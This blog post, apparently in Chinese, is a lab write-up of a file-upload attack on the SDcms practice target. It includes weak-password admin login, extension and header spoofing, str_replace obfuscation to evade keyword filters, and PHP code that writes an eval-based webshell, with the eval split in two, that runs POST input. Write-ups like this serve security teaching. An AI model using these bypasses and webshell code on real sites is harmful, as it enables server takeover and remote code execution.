靶场练习——SDcms文件上传漏洞靶场


前言

今次练习的是SDcms靶场,该靶场是一个文件上传漏洞系列的靶场,靶场如下:


一、寻找网站后台页面

1、点击请登录,查看URL

在这里插入图片描述
如图所示,登录页面参数是?m=login

2、修改URL参数,找到后台登录页面

尝试把上面URL的参数login改成admin,如下图,进入成功。
在这里插入图片描述


二、登录后台管理系统

1、不能使用爆破

这里第一反应使用了账号密码爆破,发现对访问的IP有限制,一旦超过错误访问次数,就会被限制登录,图片如下:
在这里插入图片描述

2、使用弱口令登录

使用账号密码admin/admin,成登录网站后台


三、寻找文件上传点

在这里插入图片描述
找到如图所示的文件上传点


四、上传文件操作

1、上传普通的图片文件,查看数据包

在这里插入图片描述
如图找到文件上传的路径:/upfile/2023/09/

2、尝试上传PHP文件

在Burp中把 .jpg 改成 .php,然后再文件内容中添加GIF89a头部,发现php文件能上传成功。
在这里插入图片描述

尝试访问上传的PHP文件
在这里插入图片描述
访问成功。

3、上传phpinfo()函数,获取系统版本信息

在这里插入图片描述
发现上传失败了,这就说明这里存在过滤,把phpinfo函数给过滤了。

4、绕过过滤

使用str_replace函数来绕过过滤,方法如下:
在这里插入图片描述
绕过成功

打开网页查看
在这里插入图片描述

如下是绕过代码:

<?php
	$a = str_replace("0","","p0h0p0i0n0f0o");
	$a();
?>

五、尝试上传webshell

1、PHP版本注意点

上面可知,靶场使用的PHP版本是7.4.3,这个版本是无法使用assert()函数的,那么就只能使用eval来getshell,但eval使用上面str_replace方法是无法生效的。
这我就想到一个方法,既然eval无法使用str_replace方法绕过,那么我为什么不去使用PHP常见文件的方式,通过运行普通文件从而创建shell文件

2、尝试在上一级目录创建文件

如下图,发现上传失败
在这里插入图片描述
经过测试,发现fopen()函数和file_put_contents()函数同样都被过滤了,没办法,就对这两个函数同样做绕过。方法如下:
在这里插入图片描述
然后使用浏览器打开上传的PHP文件,让文件运行,再访问上级是否生成了shell.php文件
在这里插入图片描述
在这里插入图片描述
访问成功,这就说明shell.php文件成功生成。

3、写入shell

把里面的$data参数换成shell。
在这里插入图片描述

发现这样子还是能检测到eval关键字。不过不要紧,这里只是字符串,我们只需要把$data内容以eval为中心拆成两部分,然后再合并不就可以了吗。

在这里插入图片描述

4、测试shell

使用浏览器打开上传的PHP文件,让其运行
在这里插入图片描述

然后再利用webshell工具来连接测试
在这里插入图片描述
连接成功!

编写后的绕过代码:

GIF89a
<?php
	$filename = "../shell.php";
	$data1 = '<?php class ok{var $arg;function setarg($x){$this->arg = "".$x.null;return $this->arg;}function setarg1($x){$this->arg = "".$this->setarg($x).null;}function go(){ev';

	$data2 = 'al("$this->arg");}}$arr = array($_POST["x"]);$run = new ok;$run->setarg1($arr[0]);$run->go(); ?>';

	$data = $data1.$data2;

	$a = "f0o0p0e0n";
	$open = str_replace("0","",$a);
	$file = $open($filename,"w");

	$b = "f0i0l0e_p0u0t_contents";
	$write = str_replace("0","",$b);
	$write($filename, $data);

	fclose($file);
?>

注意:这里shell需要使用POST,使用GET蚁剑是无法连接的。


  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SDCMS(四网合一企业网站管理系统)是一款功能强大的企业网站管理系统。它将网站建设、内容管理、电子商务和营销推广等四大功能融合于一体,为企业提供全面而便捷的网站管理解决方案。 首先,SDCMS拥有强大的网站建设功能。它提供多种模板和布局样式,企业可以根据自身需求选择合适的风格,并通过简单易用的编辑器进行页面设计和修改,无需专业的编程知识,就能快速建设出美观、富有互动性的网站。 其次,SDCMS具备内容管理的能力。企业可以通过该系统轻松管理网站的文章、图片、视频等内容,实现对网站内容的及时更新和维护。同时,系统提供多种内容展示形式,如新闻资讯、产品展示、案例展示等,帮助企业展示自身特色和优势。 此外,SDCMS集成了电子商务功能,帮助企业快速搭建起属于自己的电商平台。通过系统提供的订单管理、支付接口、商品管理等功能,企业可以轻松实现在线交易,拓展销售渠道,提升企业的竞争力。 最后,SDCMS还具备全面的营销推广功能。它提供搜索引擎优化(SEO)和社交媒体推广等功能,帮助企业提升网站的曝光率和搜索排名,吸引更多的潜在客户。同时,系统还提供数据分析工具,帮助企业了解用户行为和流量来源,优化营销策略,提升市场营销的效果。 总之,SDCMS四网合一企业网站管理系统是一款功能强大、易用便捷的网站管理解决方案。它帮助企业搭建、管理和推广自己的网站,提升品牌形象,拓展市场份额,为企业的发展注入新动力。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值